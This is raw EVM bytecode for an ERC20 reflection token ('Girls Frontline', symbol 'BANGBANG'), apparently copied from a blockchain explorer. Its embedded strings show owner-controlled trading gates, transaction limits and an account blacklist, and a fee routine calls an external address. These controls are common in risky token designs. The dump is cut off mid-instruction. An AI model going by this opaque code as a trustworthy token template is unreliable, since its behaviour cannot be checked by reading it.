fffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dab90612a3a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1a90612acc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f01919061259f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7490612b5e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe390612bf0565b60405180910390fd5b6000811161102f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102690612c82565b60405180910390fd5b61103761091b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110a5575061107561091b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156114895760148054906101000a900460ff16611132576110c461091b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611131576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112890612d14565b60405180910390fd5b5b601554811115611177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116e90612d80565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561121b5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61125a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125190612e12565b60405180910390fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461130857601654816112bc846106d2565b6112c69190612e32565b1115611307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fe90612ed8565b60405180910390fd5b5b6000611313306106d2565b905060006017548210159050601554821061132e5760155491505b8080156113485750601460159054906101000a900460ff16155b80156113a25750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156113ba5750601460169054906101000a900460ff165b80156114105750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114665750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611475576114748261185c565b5b6000479050611485868683611ad5565b5050505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115305750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806115e35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115e25750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156115f15760009050611778565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561169c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156116b457600854600c81905550600954600d819055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561175f5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561177757600a54600c81905550600b54600d819055505b5b61178484848484611bcc565b50505050565b60008383111582906117d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c991906123b8565b60405180910390fd5b50600083856117e19190612ef8565b9050809150509392505050565b6000600654821115611835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182c90612f9e565b60405180910390fd5b600061183f611bf9565b90506118548184611c2490919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561189457611893612fbe565b5b6040519080825280602002602001820160405280156118c25781602001602082028036833780820191505090505b50905030816000815181106118da576118d9612fed565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a59190613031565b816001815181106119b9576119b8612fed565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a2030601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d45565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611a84959493929190613157565b600060405180830381600087803b158015611a9e57600080fd5b505af1158015611ab2573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828585604051602001611b249291906131f9565b604051602081830303815290604052604051611b40919061326c565b60006040518083038185875af1925050503d8060008114611b7d576040519150601f19603f3d011682016040523d82523d6000602084013e611b82565b606091505b5050905080611bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbd906132cf565b60405180910390fd5b50505050565b80611bda57611bd9611c6e565b5b611be5848484611cab565b80611bf357611bf2611e76565b5b50505050565b6000806000611c06611e8a565b91509150611c1d8183611c2490919063ffffffff16565b9250505090565b6000611c6683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f25565b905092915050565b6000600c54148015611c8257506000600d54145b611ca957600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080611cbd87611f88565b955095509550955095509550611d1b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ff090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611db085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dfc81612098565b611e068483612155565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e63919061259f565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600654905060006012600a611ea4919061283d565b633b9aca00611eb39190612888565b9050611ee66012600a611ec6919061283d565b633b9aca00611ed59190612888565b600654611c2490919063ffffffff16565b821015611f18576006546012600a611efe919061283d565b633b9aca00611f0d9190612888565b935093505050611f21565b81819350935050505b9091565b60008083118290611f6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6391906123b8565b60405180910390fd5b5060008385611f7b919061331e565b9050809150509392505050565b6000806000806000806000806000611fa58a600c54600d5461218f565b9250925092506000611fb5611bf9565b90506000806000611fc88e878787612225565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061203283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061178a565b905092915050565b60008082846120499190612e32565b90508381101561208e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120859061339b565b60405180910390fd5b8091505092915050565b60006120a2611bf9565b905060006120b982846122ae90919063ffffffff16565b905061210d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61216a82600654611ff090919063ffffffff16565b6006819055506121858160075461203a90919063ffffffff16565b6007819055505050565b6000806000806121bb60646121ad888a6122ae90919063ffffffff16565b611c2490919063ffffffff16565b905060006121e560646121d7888b6122ae90919063ffffffff16565b611c2490919063ffffffff16565b9050600061220e82612200858c611ff090919063ffffffff16565b611ff090919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061223e85896122ae90919063ffffffff16565b9050600061225586896122ae90919063ffffffff16565b9050600061226c87896122ae90919063ffffffff16565b90506000612295826122878587611ff090919063ffffffff16565b611ff090919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083036122c05760009050612322565b600082846122ce9190612888565b90508284826122dd919061331e565b1461231d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123149061342d565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612362578082015181840152602081019050612347565b60008484015250505050565b6000601f19601f8301169050919050565b600061238a82612328565b6123948185612333565b93506123a4818560208601612344565b6123ad8161236e565b840191505092915050565b600060208201905081810360008301526123d2818461237f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061240a826123df565b9050919050565b61241a816123ff565b811461242557600080fd5b50565b60008135905061243781612411565b92915050565b6000819050919050565b6124508161243d565b811461245b57600080fd5b50565b60008135905061246d81612447565b92915050565b6000806040838503121561248a576124896123da565b5b600061249885828601612428565b92505060206124a98582860161245e565b9150509250929050565b60008115159050919050565b6124c8816124b3565b82525050565b60006020820190506124e360008301846124bf565b92915050565b6000602082840312156124ff576124fe6123da565b5b600061250d84828501612428565b91505092915050565b6000819050919050565b600061253b612536612531846123df565b612516565b6123df565b9050919050565b600061254d82612520565b9050919050565b600061255f82612542565b9050919050565b61256f81612554565b82525050565b600060208201905061258a6000830184612566565b92915050565b6125998161243d565b82525050565b60006020820190506125b46000830184612590565b92915050565b6000806000606084860312156125d3576125d26123da565b5b60006125e186828701612428565b93505060206125f286828701612428565b92505060406126038682870161245e565b9150509250925092565b600060ff82169050919050565b6126238161260d565b82525050565b600060208201905061263e600083018461261a565b92915050565b61264d816123ff565b82525050565b60006020820190506126686000830184612644565b92915050565b600060208284031215612684576126836123da565b5b60006126928482850161245e565b91505092915050565b600080604083850312156126b2576126b16123da565b5b60006126c085828601612428565b92505060206126d185828601612428565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156127615780860481111561273d5761273c6126db565b5b600185161561274c5780820291505b808102905061275a8561270a565b9450612721565b94509492505050565b60008261277a5760019050612836565b816127885760009050612836565b816001811461279e57600281146127a8576127d7565b6001915050612836565b60ff8411156127ba576127b96126db565b5b8360020a9150848211156127d1576127d06126db565b5b50612836565b5060208310610133831016604e8410600b841016171561280c5782820a905083811115612807576128066126db565b5b612836565b6128198484846001612717565b925090508184048111156128305761282f6126db565b5b81810290505b9392505050565b60006128488261243d565b91506128538361260d565b92506128807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461276a565b905092915050565b60006128938261243d565b915061289e8361243d565b92508282026128ac8161243d565b915082820484148315176128c3576128c26126db565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612900602083612333565b915061290b826128ca565b602082019050919050565b6000602082019050818103600083015261292f816128f3565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612992602683612333565b915061299d82612936565b604082019050919050565b600060208201905081810360008301526129c181612985565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612a24602483612333565b9150612a2f826129c8565b604082019050919050565b60006020820190508181036000830152612a5381612a17565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ab6602283612333565b9150612ac182612a5a565b604082019050919050565b60006020820190508181036000830152612ae581612aa9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612b48602583612333565b9150612b5382612aec565b604082019050919050565b60006020820190508181036000830152612b7781612b3b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612bda602383612333565b9150612be582612b7e565b604082019050919050565b60006020820190508181036000830152612c0981612bcd565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612c6c602983612333565b9150612c7782612c10565b604082019050919050565b60006020820190508181036000830152612c9b81612c5f565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000612cfe603f83612333565b9150612d0982612ca2565b604082019050919050565b60006020820190508181036000830152612d2d81612cf1565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000612d6a601c83612333565b9150612d7582612d34565b602082019050919050565b60006020820190508181036000830152612d9981612d5d565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000612dfc602383612333565b9150612e0782612da0565b604082019050919050565b60006020820190508181036000830152612e2b81612def565b9050919050565b6000612e3d8261243d565b9150612e488361243d565b9250828201905080821115612e6057612e5f6126db565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000612ec2602383612333565b9150612ecd82612e66565b604082019050919050565b60006020820190508181036000830152612ef181612eb5565b9050919050565b6000612f038261243d565b9150612f0e8361243d565b9250828203905081811115612f2657612f256126db565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612f88602a83612333565b9150612f9382612f2c565b604082019050919050565b60006020820190508181036000830152612fb781612f7b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061302b81612411565b92915050565b600060208284031215613047576130466123da565b5b60006130558482850161301c565b91505092915050565b6000819050919050565b600061308361307e6130798461305e565b612516565b61243d565b9050919050565b61309381613068565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6130ce816123ff565b82525050565b60006130e083836130c5565b60208301905092915050565b6000602082019050919050565b600061310482613099565b61310e81856130a4565b9350613119836130b5565b8060005b8381101561314a57815161313188826130d4565b975061313c836130ec565b92505060018101905061311d565b5085935050505092915050565b600060a08201905061316c6000830188612590565b613179602083018761308a565b818103604083015261318b81866130f9565b905061319a6060830185612644565b6131a76080830184612590565b9695505050505050565b60008160601b9050919050565b60006131c9826131b1565b9050919050565b60006131db826131be565b9050919050565b6131f36131ee826123ff565b6131d0565b82525050565b600061320582856131e2565b60148201915061321582846131e2565b6014820191508190509392505050565b600081519050919050565b600081905092915050565b600061324682613225565b6132508185613230565b9350613260818560208601612344565b80840191505092915050565b6000613278828461323b565b915081905092915050565b7f4645453a204554485f5452414e534645525f4641494c45440000000000000000600082015250565b60006132b9601883612333565b91506132c482613283565b602082019050919050565b600060208201905081810360008301526132e8816132ac565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133298261243d565b91506133348361243d565b925082613344576133436132ef565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613385601b83612333565b91506133908261334f565b602082019050919050565b600060208201905081810360008301526133b481613378565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613417602183612333565b9150613422826133bb565b604082019050919050565b600060208201905081810360008301526134468161340a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e7573116a259545868a6c8d2de37c721fde4a11476bcd42652814fbc0cc5058364736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000fec4e8a5a5a0dea54c623dd5941f5421827c3808

Deployed Bytecode

0x60806040526004361061012e5760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b41146103f1578063a9059cbb1461041c578063c9567bf914610459578063dd62ed3e14610470578063ea1644d5146104ad578063f2fde38b146104d657610135565b8063715018a61461033057806374010ece146103475780637d1db4a5146103705780638da5cb5b1461039b5780638f9a55c0146103c657610135565b806323b872dd116100f257806323b872dd146102355780632fd689e314610272578063313ce5671461029d57806349bd5a5e146102c857806370a08231146102f357610135565b806306fdde031461013a578063095ea7b3146101655780630f3a325f146101a25780631694505e146101df57806318160ddd1461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104ff565b60405161015c91906123b8565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612473565b61053c565b60405161019991906124ce565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c491906124e9565b61055a565b6040516101d691906124ce565b60405180910390f35b3480156101eb57600080fd5b506101f461057a565b6040516102019190612575565b60405180910390f35b34801561021657600080fd5b5061021f6105a0565b60405161022c919061259f565b60405180910390f35b34801561024157600080fd5b5061025c600480360381019061025791906125ba565b6105c4565b60405161026991906124ce565b60405180910390f35b34801561027e57600080fd5b5061028761069d565b604051610294919061259f565b60405180910390f35b3480156102a957600080fd5b506102b26106a3565b6040516102bf9190612629565b60405180910390f35b3480156102d457600080fd5b506102dd6106ac565b6040516102ea9190612653565b60405180910390f35b3480156102ff57600080fd5b5061031a600480360381019061031591906124e9565b6106d2565b604051610327919061259f565b60405180910390f35b34801561033c57600080fd5b50610345610723565b005b34801561035357600080fd5b5061036e6004803603810190610369919061266e565b610876565b005b34801561037c57600080fd5b50610385610915565b604051610392919061259f565b60405180910390f35b3480156103a757600080fd5b506103b061091b565b6040516103bd9190612653565b60405180910390f35b3480156103d257600080fd5b506103db610944565b6040516103e8919061259f565b60405180910390f35b3480156103fd57600080fd5b5061040661094a565b60405161041391906123b8565b60405180910390f35b34801561042857600080fd5b50610443600480360381019061043e9190612473565b610987565b60405161045091906124ce565b60405180910390f35b34801561046557600080fd5b5061046e6109a5565b005b34801561047c57600080fd5b506104976004803603810190610492919061269b565b610a56565b6040516104a4919061259f565b60405180910390f35b3480156104b957600080fd5b506104d460048036038101906104cf919061266e565b610add565b005b3480156104e257600080fd5b506104fd60048036038101906104f891906124e9565b610b7c565b005b60606040518060400160405280600f81526020017f4769726c732046726f6e746c696e650000000000000000000000000000000000815250905090565b6000610550610549610d3d565b8484610d45565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006012600a6105b0919061283d565b633b9aca006105bf9190612888565b905090565b60006105d1848484610f0e565b610692846105dd610d3d565b61068d8560405180606001604052806028815260200161344e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610643610d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178a9092919063ffffffff16565b610d45565b600190509392505050565b60175481565b60006012905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061071c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ee565b9050919050565b61072b610d3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107af90612916565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61087e610d3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461090b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090290612916565b60405180910390fd5b8060158190555050565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60165481565b60606040518060400160405280600881526020017f42414e4742414e47000000000000000000000000000000000000000000000000815250905090565b600061099b610994610d3d565b8484610f0e565b6001905092915050565b6109ad610d3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3190612916565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ae5610d3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6990612916565b60405180910390fd5b8060168190555050565b610b84610d3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0890612916565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c77906129a8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dab90612a3a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1a90612acc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f01919061259f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7490612b5e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe390612bf0565b60405180910390fd5b6000811161102f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102690612c82565b60405180910390fd5b61103761091b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110a5575061107561091b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156114895760148054906101000a900460ff16611132576110c461091b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611131576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112890612d14565b60405180910390fd5b5b601554811115611177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116e90612d80565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561121b5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61125a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125190612e12565b60405180910390fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461130857601654816112bc846106d2565b6112c69190612e32565b1115611307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fe90612ed8565b60405180910390fd5b5b6000611313306106d2565b905060006017548210159050601554821061132e5760155491505b8080156113485750601460159054906101000a900460ff16155b80156113a25750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156113ba5750601460169054906101000a900460ff165b80156114105750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114665750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611475576114748261185c565b5b6000479050611485868683611ad5565b5050505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115305750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806115e35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115e25750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156115f15760009050611778565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561169c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156116b457600854600c81905550600954600d819055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561175f5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561177757600a54600c81905550600b54600d819055505b5b61178484848484611bcc565b50505050565b60008383111582906117d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c991906123b8565b60405180910390fd5b50600083856117e19190612ef8565b9050809150509392505050565b6000600654821115611835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182c90612f9e565b60405180910390fd5b600061183f611bf9565b90506118548184611c2490919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561189457611893612fbe565b5b6040519080825280602002602001820160405280156118c25781602001602082028036833780820191505090505b50905030816000815181106118da576118d9612fed565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff